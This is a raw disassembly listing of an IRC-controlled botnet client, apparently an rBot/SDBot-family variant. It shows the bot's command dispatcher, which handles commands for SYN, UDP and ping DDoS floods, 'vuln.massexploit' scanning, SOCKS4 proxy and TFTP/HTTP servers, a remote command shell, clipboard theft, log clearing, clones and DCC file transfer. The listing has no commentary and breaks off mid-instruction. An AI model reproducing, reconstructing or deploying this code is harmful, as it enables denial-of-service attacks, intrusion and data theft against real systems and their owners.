sub_40CC09+941j ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_4344FC mov [ebp+arg_8], eax call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40D6F4 push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40D5B2 cmp [ebp+var_98], ebx jz loc_40D58B push [ebp+esi+var_8C] mov edi, offset aS_2 ; "%s" lea eax, [ebp+var_5FC] push edi push eax call sub_413812 push [ebp+esi+var_88] lea eax, [ebp+var_610] push edi push eax call sub_413812 push [ebp+esi+var_84] call sub_413D7F mov [ebp+var_478], eax mov eax, [ebp+arg_4] mov [ebp+var_618], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_4F8] push eax call sub_415140 mov eax, [ebp+var_4] mov [ebp+var_470], eax mov eax, [ebp+var_8] mov [ebp+var_46C], eax lea eax, [ebp+var_4F8] push eax lea eax, [ebp+var_5FC] push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bDcc_m_d ; ".e.(1.0b) ( dcc.m.d.l ) .. Receive f"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 12h push eax call sub_4132BE add esp, 44h mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_618] push ebx push eax push offset sub_40A160 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_474] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz loc_40D57A loc_40D3E7: ; CODE XREF: sub_40CC09+7F2j cmp [ebp+var_468], ebx jnz loc_410457 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40D3E7 ; --------------------------------------------------------------------------- loc_40D3FD: ; CODE XREF: sub_40CC09+67Ej ; sub_40CC09+694j push [ebp+var_90] push edi call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40D416 mov [ebp+var_4], 1 loc_40D416: ; CODE XREF: sub_40CC09+804j cmp [ebp+var_8C], ebx jz loc_40CFCD push offset dword_422190 push [ebp+var_8C] call sub_413DE0 pop ecx test eax, eax pop ecx jz short loc_40D43D cmp [ebp+var_4], ebx jz short loc_40D449 loc_40D43D: ; CODE XREF: sub_40CC09+82Dj lea eax, [ebp+var_C4] mov [ebp+var_8C], eax loc_40D449: ; CODE XREF: sub_40CC09+832j cmp [ebp+var_88], ebx jz loc_40CFCD inc [ebp+var_88] jz short loc_40D495 cmp [ebp+arg_10], ebx jz short loc_40D495 lea eax, [ebp+var_464] push eax call sub_413E90 push eax lea eax, [ebp+var_464] push [ebp+var_88] push eax call sub_4152D0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40D49B ; --------------------------------------------------------------------------- loc_40D495: ; CODE XREF: sub_40CC09+852j ; sub_40CC09+857j mov esi, [ebp+var_AC] loc_40D49B: ; CODE XREF: sub_40CC09+88Aj mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40CFCD push edi push offset dword_4344A8 call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40D2BE mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40D53B mov eax, dword_7420F4 mov eax, off_42A3F4[eax*4] cmp [eax], bl jz short loc_40D53B push eax push ecx push offset dword_43448C push [ebp+arg_4] call sub_40B26F lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C4] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_413812 lea eax, [ebp+var_1C4] push eax call sub_409833 add esp, 20h cmp [ebp+var_98], ebx jnz loc_40CFCD push ebx lea eax, [ebp+var_1C4] push 1 push eax push offset dword_741FF4 loc_40D52B: ; CODE XREF: sub_40CC09+4E56j push [ebp+arg_4] call sub_40B2B5 add esp, 14h jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_40D53B: ; CODE XREF: sub_40CC09+8BFj ; sub_40CC09+8CFj push edi push offset dword_434468 call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40D2BE mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40D2BE mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40D2BE push eax push ecx push offset dword_434450 jmp loc_40CFC2 ; --------------------------------------------------------------------------- loc_40D57A: ; CODE XREF: sub_40CC09+7D8j call ds:off_41F06C push eax push offset a_e_1_0bDcc_m_0 ; ".e.(1.0b) ( dcc.m.d.l ) .. Failed to"... jmp loc_40D6E0 ; --------------------------------------------------------------------------- loc_40D58B: ; CODE XREF: sub_40CC09+6FFj lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C4] push [ebp+esi+var_8C] push offset a_e_1_0bDcc_m_1 ; ".e.(1.0b) ( dcc.m.d.l ) .. Receive f"... push eax call sub_413812 add esp, 10h jmp loc_410457 ; --------------------------------------------------------------------------- loc_40D5B2: ; CODE XREF: sub_40CC09+6F3j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40D70A cmp [ebp+var_98], ebx jz loc_40D6D4 push 13h call sub_413506 test eax, eax pop ecx jnz loc_40D6C6 push [ebp+esi+var_88] lea eax, [ebp+var_610] push offset aS_2 ; "%s" push eax call sub_413812 push [ebp+esi+var_84] call sub_413D7F mov [ebp+var_478], eax mov eax, [ebp+arg_4] mov [ebp+var_618], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_4F8] push eax call sub_415140 mov eax, [ebp+var_4] mov [ebp+var_470], eax mov eax, [ebp+var_8] mov [ebp+var_46C], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C4] push offset a_e_1_0bDcc_m_2 ; ".e.(1.0b) ( dcc.m.d.l ) .. Chat from"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 13h push eax call sub_4132BE add esp, 34h mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_618] push ebx push eax push offset sub_409BFD push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_474] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40D6B8 loc_40D6A2: ; CODE XREF: sub_40CC09+AADj cmp [ebp+var_468], ebx jnz loc_410457 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40D6A2 ; --------------------------------------------------------------------------- loc_40D6B8: ; CODE XREF: sub_40CC09+A97j call ds:off_41F06C push eax push offset a_e_1_0bDcc_m_3 ; ".e.(1.0b) ( dcc.m.d.l ) .. Failed to"... jmp short loc_40D6E0 ; --------------------------------------------------------------------------- loc_40D6C6: ; CODE XREF: sub_40CC09+9DAj lea eax, [ebp+var_C4] push eax push offset a_e_1_0bDcc_m_4 ; ".e.(1.0b) ( dcc.m.d.l ) .. Chat alre"... jmp short loc_40D6E0 ; --------------------------------------------------------------------------- loc_40D6D4: ; CODE XREF: sub_40CC09+9CAj lea eax, [ebp+var_C4] push eax push offset a_e_1_0bDcc_m_5 ; ".e.(1.0b) ( dcc.m.d.l ) .. Chat fail"... loc_40D6E0: ; CODE XREF: sub_40CC09+97Dj ; sub_40CC09+ABBj ... lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch jmp loc_410457 ; --------------------------------------------------------------------------- loc_40D6F4: ; CODE XREF: sub_40CC09+6D8j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42A334 mov [edi], ecx jnz loc_40CFCD loc_40D70A: ; CODE XREF: sub_40CC09+9BEj mov edi, [edi] push edi push offset aNewshit ; "newshit" mov [ebp+arg_8], edi call sub_413C30 pop ecx test eax, eax pop ecx jz loc_412183 push edi push offset aHi ; "hi" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_412183 cmp [ebp+var_98], ebx jnz short loc_40D75B push [ebp+var_90] push offset dword_434504 call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_41217B loc_40D75B: ; CODE XREF: sub_40CC09+B36j cmp [ebp+arg_28], ebx jnz loc_41217B xor edi, edi cmp dword_42C948, ebx jle loc_40D907 mov [ebp+arg_20], offset dword_4514A8 loc_40D779: ; CODE XREF: sub_40CC09+B8Fj push [ebp+arg_8] push [ebp+arg_20] call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40D79F add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42C948 jl short loc_40D779 jmp loc_40D907 ; --------------------------------------------------------------------------- loc_40D79F: ; CODE XREF: sub_40CC09+B7Fj push offset asc_434610 ; " :" push [ebp+arg_0] call sub_413DE0 pop ecx cmp eax, ebx pop ecx jz loc_40CFCD mov cl, byte_42A334 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42A334 mov [eax+3], cl lea ecx, dword_4514C0[edi] push 9Fh add eax, 4 push ecx push eax call sub_415140 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40D7F4: ; CODE XREF: sub_40CC09+C93j push [ebp+arg_20] lea eax, [ebp+var_A4] push offset aD ; "$%d-" push eax call sub_413812 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_413DE0 add esp, 14h test eax, eax jz short loc_40D860 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40D860 lea eax, dword_4514A8[edi] push eax call sub_413E90 add [ebp+var_C], eax pop ecx jz short loc_40D892 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_413DE0 pop ecx cmp eax, ebx pop ecx jz short loc_40D892 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_408296 add esp, 0Ch jmp short loc_40D892 ; --------------------------------------------------------------------------- loc_40D860: ; CODE XREF: sub_40CC09+C13j ; sub_40CC09+C1Aj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40D892 lea eax, [ebp+var_A4] push 2 push eax lea eax, [ebp+var_14] push eax call sub_415140 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_408296 add esp, 18h loc_40D892: ; CODE XREF: sub_40CC09+C2Cj ; sub_40CC09+C40j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40D7F4 lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40D8AF: ; CODE XREF: sub_40CC09+CF2j push [ebp+arg_20] lea eax, [ebp+var_A4] push offset off_43428C push eax call sub_413812 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_413DE0 add esp, 14h test eax, eax jz short loc_40D8F2 mov eax, [edi] cmp eax, ebx jz short loc_40D8F2 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_408296 add esp, 0Ch loc_40D8F2: ; CODE XREF: sub_40CC09+CCEj ; sub_40CC09+CD4j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40D8AF mov [ebp+var_1C8], 1 loc_40D907: ; CODE XREF: sub_40CC09+B63j ; sub_40CC09+B91j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42A334 jz short loc_40D920 cmp [ebp+var_1C8], ebx jz loc_40DB05 loc_40D920: ; CODE XREF: sub_40CC09+D09j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset off_434288 push edi call sub_408296 lea eax, [ebp+var_C4] push eax push offset aUser_1 ; "$user" push edi call sub_408296 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_408296 push ebx push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_412AB7 push eax push offset aRndnick ; "$rndnick" push edi call sub_408296 add esp, 40h push [ebp+arg_14] push offset aServer ; "$server" push edi call sub_408296 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_413DE0 add esp, 14h loc_40D992: ; CODE XREF: sub_40CC09+E75j test eax, eax jz loc_40DA83 push edi push [ebp+arg_0] call sub_413DE0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A4] push eax call sub_415140 lea eax, [ebp+var_A4] push offset asc_434258 ; ")" push eax call sub_4150A0 add esp, 1Ch cmp [ebp+var_A4], 30h jl short loc_40D9DE cmp [ebp+var_A4], 39h jle short loc_40D9F4 loc_40D9DE: ; CODE XREF: sub_40CC09+DCAj push 3 lea eax, [ebp+var_A4] push offset a63 ; "63" push eax call sub_415140 add esp, 0Ch loc_40D9F4: ; CODE XREF: sub_40CC09+DD3j lea eax, [ebp+var_A4] push eax call sub_413D7F test eax, eax pop ecx jle short loc_40DA17 lea eax, [ebp+var_A4] push eax call sub_413D7F pop ecx mov [ebp+var_14], al jmp short loc_40DA28 ; --------------------------------------------------------------------------- loc_40DA17: ; CODE XREF: sub_40CC09+DFAj call sub_41386E push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40DA28: ; CODE XREF: sub_40CC09+E0Cj lea eax, [ebp+var_A4] mov [ebp+var_13], bl push eax call sub_413E90 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A4] push ebx push eax call sub_413890 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A4] push [ebp+arg_10] push eax call sub_415140 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_408296 push edi push [ebp+arg_0] call sub_413DE0 add esp, 30h jmp loc_40D992 ; --------------------------------------------------------------------------- loc_40DA83: ; CODE XREF: sub_40CC09+D8Bj mov edi, 0FEh lea eax, [ebp+var_B98] push edi push [ebp+arg_0] push eax call sub_415140 lea eax, [ebp+var_B98] push edi push eax lea eax, [ebp+var_D9C] push eax call sub_415140 lea eax, [ebp+var_D9C] push offset asc_425148 ; " " push eax call sub_4150A0 add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40DAD3: ; CODE XREF: sub_40CC09+EDFj push offset asc_425148 ; " " push ebx call sub_4150A0 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40DAD3 mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40CFCD add ecx, 3 mov [eax], ecx loc_40DB05: ; CODE XREF: sub_40CC09+D11j mov edi, [ebp+esi+var_94] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+arg_8], edi call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41212E push edi push offset aEnz_rn ; "enz.rn" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41212E push edi push offset aEnz_endsess ; "enz.endsess" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41210C push edi push offset aEnz_d ; "enz.d" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41210C push edi push offset aEnz_logout ; "enz.logout" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_412061 push edi push offset aEnz_lo ; "enz.lo" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_412061 push edi push offset aServer_socks4_ ; "server.socks4.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411F3F push edi push offset aServer_s4_on ; "server.s4.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411F3F push edi push offset aServer_socks_0 ; "server.socks4.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DBF7 push [ebp+esi+var_90] push 11h push offset aServer_0 ; "Server" push offset a_s_ocks_4___ ; ".s.ocks.4..." loc_40DBDB: ; CODE XREF: sub_40CC09+1012j ; sub_40CC09+1038j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_41354C add esp, 20h jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_40DBF7: ; CODE XREF: sub_40CC09+FBDj push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DC1D push [ebp+esi+var_90] push 6 push offset aServer_0 ; "Server" push offset a_r_login_d___ ; ".r.login.d..." jmp short loc_40DBDB ; --------------------------------------------------------------------------- loc_40DC1D: ; CODE XREF: sub_40CC09+FFDj push edi push offset aServer_web_off ; "server.web.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DC43 push [ebp+esi+var_90] push 3 push offset aServer_0 ; "Server" push offset a_h_ttp_d___ ; ".h.ttp.d..." jmp short loc_40DBDB ; --------------------------------------------------------------------------- loc_40DC43: ; CODE XREF: sub_40CC09+1023j push edi push offset aLog_off ; "log.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DC6C push [ebp+esi+var_90] push 1Dh push offset aLogList ; "Log list" push offset a_l_o_g___ ; ".l.o.g..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DC6C: ; CODE XREF: sub_40CC09+1049j push edi push offset aServer_redirec ; "server.redirect.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DC95 push [ebp+esi+var_90] push 10h push offset aTcpRedirect ; "TCP redirect" push offset a_r_edirec_t___ ; ".r.edirec.t..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DC95: ; CODE XREF: sub_40CC09+1072j push edi push offset aDdos_off ; "ddos.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DCBE push [ebp+esi+var_90] push 0Ah push offset aDdosFlood ; "DDoS flood" push offset a_d_do_s___ ; ".d.do.s..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DCBE: ; CODE XREF: sub_40CC09+109Bj push edi push offset aDdos_syn_off ; "ddos.syn.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DCE7 push [ebp+esi+var_90] push 0Bh push offset aSynFlood ; "Syn flood" push offset a_s_y_n___ ; ".s.y.n..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DCE7: ; CODE XREF: sub_40CC09+10C4j push edi push offset aDdos_udp_off ; "ddos.udp.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DD10 push [ebp+esi+var_90] push 0Fh push offset aUdpFlood ; "UDP flood" push offset a_u_d_p___ ; ".u.d.p..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DD10: ; CODE XREF: sub_40CC09+10EDj push edi push offset aDdos_ping_off ; "ddos.ping.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DD39 push [ebp+esi+var_90] push 0Eh push offset aPingFlood ; "Ping flood" push offset a_p_in_g___ ; ".p.in.g..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DD39: ; CODE XREF: sub_40CC09+1116j push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DD62 push [ebp+esi+var_90] push 4 push offset aServer_0 ; "Server" push offset a_t_ftp_d___ ; ".t.ftp.d..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DD62: ; CODE XREF: sub_40CC09+113Fj push edi push offset aBox_procs_off ; "box.procs.off" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411F27 push edi push offset aBox_ps_off ; "box.ps.off" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411F27 push edi push offset aClone_off ; "clone.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DDB5 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset a_c_lone_s___ ; ".c.lone.s..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DDB5: ; CODE XREF: sub_40CC09+1192j push edi push offset aLockdown_stop ; "lockdown.stop" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DDDE push [ebp+esi+var_90] push 1Ah push offset aSecure ; "Secure" push offset a_s_ecur_e___ ; ".s.ecur.e..." jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DDDE: ; CODE XREF: sub_40CC09+11BBj push edi push offset aVuln_stop ; "vuln.stop" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DE07 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40DE07: ; CODE XREF: sub_40CC09+11E4j push edi push offset aVuln_stats ; "vuln.stats" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411F11 push edi push offset aVuln_st ; "vuln.st" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411F11 push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411EF0 push edi push offset aEnz_rh4 ; "enz.rh4" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411EF0 push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411ECE push edi push offset aEnz_et3 ; "enz.et3" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411ECE push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411E86 push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411E86 push edi push offset aEnz_status ; "enz.status" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411E48 push edi push offset aEnz_s ; "enz.s" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411E48 push edi push offset aEnz_id ; "enz.id" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411E11 push edi push offset aEnz_i ; "enz.i" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411E11 push edi push offset aBox_rebewt ; "box.rebewt" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40DF55 call sub_4086DF test eax, eax mov eax, offset a_e_1_0bEnz_m_4 ; ".e.(1.0b) ( enz.m.d.l ) .. Rebooting"... jnz short loc_40DF27 mov eax, offset a_e_1_0bEnz_m_5 ; ".e.(1.0b) ( enz.m.d.l ) .. Failed to"... loc_40DF27: ; CODE XREF: sub_40CC09+1317j push eax lea eax, [ebp+var_1C4] push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 1Ch jmp loc_410457 ; --------------------------------------------------------------------------- loc_40DF55: ; CODE XREF: sub_40CC09+1309j push edi push offset aThreads_list ; "threads.list" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411D20 push edi push offset aThreads_l ; "threads.l" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411D20 push edi push offset aEnz_aliases ; "enz.aliases" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411D00 push edi push offset aEnz_al ; "enz.al" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411D00 push edi push offset aEnz_log ; "enz.log" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411C10 push edi push offset aEnz_lg ; "enz.lg" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411C10 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411BF7 push edi push offset aUtil_clg ; "util.clg" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411BF7 push edi push offset aBox_netinfo ; "box.netinfo" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411BC0 push edi push offset aBox_ni ; "box.ni" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411BC0 push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411B95 push edi push offset aBox_si ; "box.si" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411B95 push edi push offset aEnz_beg0ne ; "enz.beg0ne" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411B5B push edi push offset aEnz_b3g ; "enz.b3g" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411B5B push edi push offset aBox_procs ; "box.procs" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411A3B push edi push offset aBox_ps ; "box.ps" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411A3B push edi push offset aBox_uptime ; "box.uptime" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4119B7 push edi push offset aBox_up ; "box.up" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4119B7 push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41199A push edi push offset aBox_drv ; "box.drv" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41199A push edi push offset aBox_testdlls ; "box.testdlls" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411981 push edi push offset aBox_dll ; "box.dll" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411981 push edi push offset aBox_opencmd ; "box.opencmd" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411915 push edi push offset aBox_ocmd ; "box.ocmd" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411915 push edi push offset aBox_ocmd_off ; "box.ocmd.off" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E176 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40DBDB ; --------------------------------------------------------------------------- loc_40E176: ; CODE XREF: sub_40CC09+1553j push edi push offset aEnz_who ; "enz.who" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E203 cmp [ebp+var_8], ebx jnz short loc_40E1A6 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_40E1A6: ; CODE XREF: sub_40CC09+1581j mov edi, [ebp+arg_18] xor esi, esi loc_40E1AB: ; CODE XREF: sub_40CC09+15E8j cmp [edi], bl lea eax, [edi+1] jnz short loc_40E1B7 mov eax, offset aEmpty ; "<Empty>" loc_40E1B7: ; CODE XREF: sub_40CC09+15A7j push eax push esi lea eax, [ebp+var_1C4] push offset aD_S ; "%d. %s" push eax call sub_413812 push 1 lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40E1AB push offset a_e_1_0bEnz_m_6 ; ".e.(1.0b) ( enz.m.d.l ) .. Login lis"... loc_40E1F8: ; CODE XREF: sub_40CC09+5203j call sub_409833 pop ecx jmp loc_41217B ; --------------------------------------------------------------------------- loc_40E203: ; CODE XREF: sub_40CC09+157Cj push edi push offset aBox_getclip ; "box.getclip" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4118D4 push edi push offset aBox_gc ; "box.gc" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4118D4 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4118A9 push edi push offset aUtil_farp ; "util.farp" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4118A9 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411885 push edi push offset aUtil_fdns ; "util.fdns" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411885 push edi push offset aVuln_currentip ; "vuln.currentip" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411848 push edi push offset aVuln_cip ; "vuln.cip" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411848 push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4116BC push edi push offset aServer_web_on ; "server.web.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4116BC push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411570 push edi push offset aServer_tf_on ; "server.tf.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411570 push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411271 push edi push offset aVall ; "vall" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411271 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40CFCD push [ebp+arg_8] push offset aEnz_nick ; "enz.nick" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411258 push [ebp+arg_8] push offset aEnz_n ; "enz.n" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411258 push [ebp+arg_8] push offset aEnz_join ; "enz.join" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411238 push [ebp+arg_8] push offset aEnz_j ; "enz.j" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411238 push [ebp+arg_8] push offset aEnz_part ; "enz.part" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41121F push [ebp+arg_8] push offset aEnz_pt ; "enz.pt" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41121F push [ebp+arg_8] push offset aEnz_raw ; "enz.raw" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4111E8 push [ebp+arg_8] push offset aEnz_r ; "enz.r" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4111E8 push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411116 push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411116 push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41106B push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41106B push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411020 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_411020 push 